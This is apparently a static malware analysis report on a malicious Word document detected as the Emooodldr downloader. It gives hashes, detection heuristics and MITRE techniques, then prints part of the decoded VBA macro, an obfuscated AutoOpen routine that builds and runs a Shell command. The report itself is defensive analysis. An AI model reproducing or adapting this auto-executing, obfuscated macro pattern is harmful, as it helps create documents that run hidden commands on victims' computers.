Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 2ff0c01df91db817…

MALICIOUS

Office (OLE)

95.1 KB Created: 2018-09-14 15:07:00 Authoring application: Microsoft Office Word First seen: 2020-01-07
MD5: c43bb3602dd63f08f2536606c9d984af SHA-1: 2a3668ee5ecbf26b202d708466877f3ac3a601a0 SHA-256: 2ff0c01df91db817ef08217a53ce43000c0a58d6a403be64478c9707d56cc2f5
202 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample is a malicious Office document containing a VBA macro with an AutoOpen subroutine, which is a common technique for executing malicious code upon opening. The macro utilizes a Shell() call, indicating an attempt to run external commands or download additional payloads. The ClamAV detection further confirms its malicious nature, identifying it as Emooodldr, a known downloader.

Heuristics 6

  • ClamAV: Doc.Malware.Emooodldr-6752834-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Emooodldr-6752834-0
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 44366 bytes
SHA-256: 0b572a9903826b68a3d6b86978dfbf49c8a33930e65bc1c19415e8bed20d8a71
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "GIQHQAiIkTrwiB"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()
On _
Error _
Resume _
Next
   Dim BNYdvi()
ReDim BNYdvi(2)
BNYdvi(0) = (IDSZhK * pzIMn / vhMRu * HWwESA / (73493 * 66369 * faGpK * ojoOR))
BNYdvi(1) = XotYYU / 25608 * (92881 / BHiIa * 47029 / 22830 / (98768 / ZvctJX / 5208 / 44479 / 55751 / GzYCd * 6515 / 69257))

   Dim dvima()
ReDim dvima(4)
dvima(0) = EJtQwG / janzJm / FAWwNM * 37563 * (23504 / AzdijV * 72151 / nokdZ * (43130 / CDmUCs))
dvima(1) = NfjCc * 48316 * 65590 / NYrcs * 37003 / cIOpk / 22492 / BGfdu * KawKoi * wvdsMU * 29337 * LlzdJh
dvima(2) = iGNIFr * cXzinO * 75303 * hoKjW / 63629 / WcPwvp
dvima(3) = 41727 * 66403 * kNjws / jdrUTG / hhBnlD * TaKtz * 68443 / sJwnGo / 97082 * ZiqhkI

   Dim wtMcKO()
ReDim wtMcKO(2)
wtMcKO(0) = tWKlt * ciIUa / (46860 / RpQQz) / 45773 / YoNRUv
wtMcKO(1) = owhhaO * hjPtAJ * 51247 / cfRXR

   Dim Ycawl()
ReDim Ycawl(5)
Ycawl(0) = vofai / vpBNqt * rtRML / XivmS / NqSjV / BDfjIH / 92263 / JZujil
Ycawl(1) = EjJGP / cOdzC / PVscJ / PoqjKk / (19088 * TNwoM / (14458 / wIJIZF * ZpBjGu * WQwlDP))
Ycawl(2) = (WXVYwz * PPpnuj * (MiUja / PBidiP / wwCCIs / ckokcG))
Ycawl(3) = JZMtLN * KhbBd / 63808 / UtrthP * SNmfC * ocujHT
Ycawl(4) = (92634 / bSkTC * 40206 * PaBiLB * (15085 / wqvrlq * ZNIQb * mrtJlc * aGafuN * nkArv))

   Dim rNcvzC()
ReDim rNcvzC(4)
rNcvzC(0) = 4104 / amUUh * 41244 / DKtCZi / QjPhL * BjLkvq / (49868 / PTRBrC * 52575 * Klvtwj * PMJva * 94340 * 92803 / SqcCtb)
rNcvzC(1) = YrvKnq * BhjpoW / 57779 * 73084 / bSfvX / uwjTnz * 20760 * zhzaN / (8015 * owKnLb * lIaBj / AjOjL)
rNcvzC(2) = 72591 * wbTCcq * jHovQ * VmWUHM / 22072 * NbtmSm / PSTOb / ANcHL * (39411 / idTil * CONtZz * QjAaQJ)
rNcvzC(3) = DQpVj / 78956 / UZtMws * zjIOA / (kACYu * BrRNC)

   Dim kUzLvo()
ReDim kUzLvo(5)
kUzLvo(0) = Ttjll / zvQlD * RuYRq / wrFwF * 22867 * Dftkic / ROnFOd / GCWbN * 61633 * JFMDGE
kUzLvo(1) = zzUnXs * 65065 * (80236 / KiIWw * GSCMG * oiXsfN / ajhbYk / 38629 * SRrlS / 32208)
kUzLvo(2) = LsEJjG / tAtzEI / zvrfo / XdHkm / nnBLbo / qXioWj * cmhhaj * 22425
kUzLvo(3) = 98300 * VzFiB / ilTWBS / soSJc * 34564 / THUzBn
kUzLvo(4) = vZKGTo / fLWKa / 30466 / sUAiUR / 88426 / PQDtGB / (27966 / GcOpmL * 17974 * 30318)

   Dim RHifD()
ReDim RHifD(3)
RHifD(0) = 27361 * hpZlI / 17733 / UTHMq / (VpvYp * bdzza * OrZqi / jOqjR)
RHifD(1) = HdUTsu * EUnjcL * (10518 * hmpjrw * 72393 * SwdoBd / 54661 / pYQRL * (IkDDW * aKzfZP / cAwZj * kCXPF))
RHifD(2) = arWrEv * ifiFfn / 54624 * SHwwP / 72028 / ARswjv

   Dim tfYmpi()
ReDim tfYmpi(3)
tfYmpi(0) = Xhjpc * 70313 * 77668 / 79750 * 42728 / iiWVB * (HpWcEF * qqJTF)
tfYmpi(1) = WpDfEf * 80789 / QiMkNH / FDjKsn * 33225 * SBOScs * 98704 / RivAR
tfYmpi(2) = (50986 * SqLwrL / (srwIl / cJNGEt * 72128 * qNNAQK))

   Dim QERoz()
ReDim QERoz(2)
QERoz(0) = (97160 / YioUjd * XSzsM * pTDOQ * RnjCMr * ubzjv)
QERoz(1) = 19946 / EwBLh * 84585 * 33085 / dYSUp * MwBCYW * (IpjccK / fZmDhw)

Shell@ zEworJDF + shYJJKKjr + iiwdWniwHViEhi, Format(0)
   Dim lOntP()
ReDim lOntP(4)
lOntP(0) = (37155 * IVAMYw / (wkbPzB * JhtNOl) * JcqbhG / VEHfP * oHWbKw * ZzdRja)
lOntP(1) = (bhtfAh * wtJlrs) * (bjTjk / pBKSD * IXLzY * GfznKb)
lOntP(2) = (59645 / 64581 * pOMpS * YzRJi)
lOntP(3) = ZlaWac / ZKnukt * 71051 / GnWrE

End Sub



Attribute VB_Name = "AnzdlKjZupqs"
Function zEworJDF()

On _
Error _
Resume _
Next
Dim iSNsr()
ReDim iSNsr(4)
iSNsr(0) = (fRiwA / MwJAV * wHDMN * 88504)
iSNsr(1) = 9458 * KYcXD / dXiMW * AtvBT * (58640 * Cdcnbi)
iSNsr(2) = TiAVF * nbKGo / scZoR / dIRDMC * iICmik / 2153 * 88015 / EuWJHC * YjoMMl / dpKqw * HPVwc / LkpbW
iSNsr(3) = MOYiRI * aitUYp * zzYzYu / YWpYY / 62840 / rpiHSZ * 99573 * kwXBA

   Dim NvzJwZ()
ReDim NvzJwZ(4)
NvzJwZ(0) = 21809 * sCbko * iFtbFi / 86280 * 21721 / FPjaP
NvzJwZ(1) = ZWtfk * uaOkL * 62657 / pFqpKf / (tiZvo / 8954
... (truncated)

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